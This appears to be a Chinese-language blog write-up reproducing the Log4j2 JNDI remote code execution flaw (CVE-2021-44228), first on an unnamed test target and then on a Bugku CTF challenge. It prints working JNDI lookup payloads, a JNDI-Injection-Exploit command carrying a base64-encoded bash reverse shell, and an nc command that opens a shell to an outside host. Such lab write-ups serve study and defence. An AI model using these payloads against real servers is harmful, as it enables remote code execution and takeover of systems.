log4j2的简单复现
之前只是简略看了看这个漏洞,但是并没有及时复现,但是发现这个漏洞hw问的很多,所以还是及时复现一下吧。
漏洞描述
Apache Log4j2 是 Apache 软件基金会下的一个开源的基于 Java 的日志记录工具。Log4j2 是一个 Log4j 1.x 的重写,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。由于其优异的性能而被广泛的应用于各种常见的 Web 服务中。
2021 年 12 月 9 日晚,Log4j2 的一个远程代码执行漏洞的利用细节被公开。攻击者使用 ${}
关键标识符触发 JNDI 注入漏洞,当程序将用户输入的数据进行日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。
漏洞编号:CVE-2021-44228
- 漏洞:Log4j2 的 JNDI 功能点无法防御来自攻击者的 ldap 以及其他相关端点的攻击行为。
- 严重等级:Critical
- Basic CVSS 评分:10.0 CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
- 影响版本:all versions from 2.0-beta9 to 2.14.1
漏洞原理
由于本人代码功底有限,就大概说明下,不进行代码跟进了。
log4j2提供了一种叫lookups
的功能来写日志
而漏洞成因就是log4j2支持Jndi Lookup
日志中包含 ${}
,lookup功能就会将表达式的内容替换为表达式解析后的内容,而不是表达式本身。log4j 2将基本的解析都做了实现:
常见解析:
${ctx:loginId}
${map:type}
${filename}
${date:MM-dd-yyyy}
${docker:containerId}${docker:containerName}
${docker:imageName}
${env:USER}
${event:Marker}
${mdc:UserId}
${java}
${jndi:logging/context-name}
${hostName}
${docker:containerId}
${k8s}
${log4j}
${main}
${name}
${marker}
${spring}
${sys:logPath}
${web:rootDir}
JNDI就是提供一个目录系统,并将服务与对象关联起来,可以使用名称来访问对象。而log4j 2中JNDI解析未作限制,可以直接访问到远程对象,如果是自己的服务器还好说,那如果访问到黑客的服务器呢?
也就是当记录日志的一部分是用户可控时(比如输入用户名和密码时),就可以构造恶意字符串使服务器记录日志时调用JNDI访问恶意对象,也就是流传出的payload构成:
${jndi:ldap:xxx.xxx.xxx.xxx:xxxx/exp}
复现流程
环境1 失败
测试一下是否存在log4j2,使用网站:http://dnslog.cn/
xxxx?payload=${jndi:ldap://37zwcc.dnslog.cn/exp}
有个很重要一点,要对特殊字符进行url编码
成功回显,证明有漏洞
在vps上运行jndi注入工具:
链接:https://github.com/welk1n/JNDI-Injection-Exploit
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDguMTY2LjIwMS4xNi82NjY3IDA+JjE=}|{base64,-d}|{bash,-i}" -A "108.166.xx.xx"
nc监听:
构造payload
${jndi:rmi://108.166.201.16:1099/xodh7q}
还是进行url编码
按理说就可以了,但是我在这个环境并没有成功
环境2 成功
感觉上面的环境有点问题,一直无法反弹shell,无论是bin/bash 还是nc都反弹失败了,下面采用bugku环境复现
url:https://ctf.bugku.com/challenges/detail/id/340.html
打一下poc,测试下是否存在漏洞
ojbk,回显了
在Linux上启动服务
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "nc 108.166.xx.xx 4444 -e /bin/sh" -A 108.166.xx.xx
直接构造payload
${jndi:rmi://108.166.201.16:1099/dwqsay}
成功反弹shell
版权声明:本博客所有文章除特殊声明外,均采用 CC BY-NC 4.0 许可协议。转载请注明出处 sakura的博客!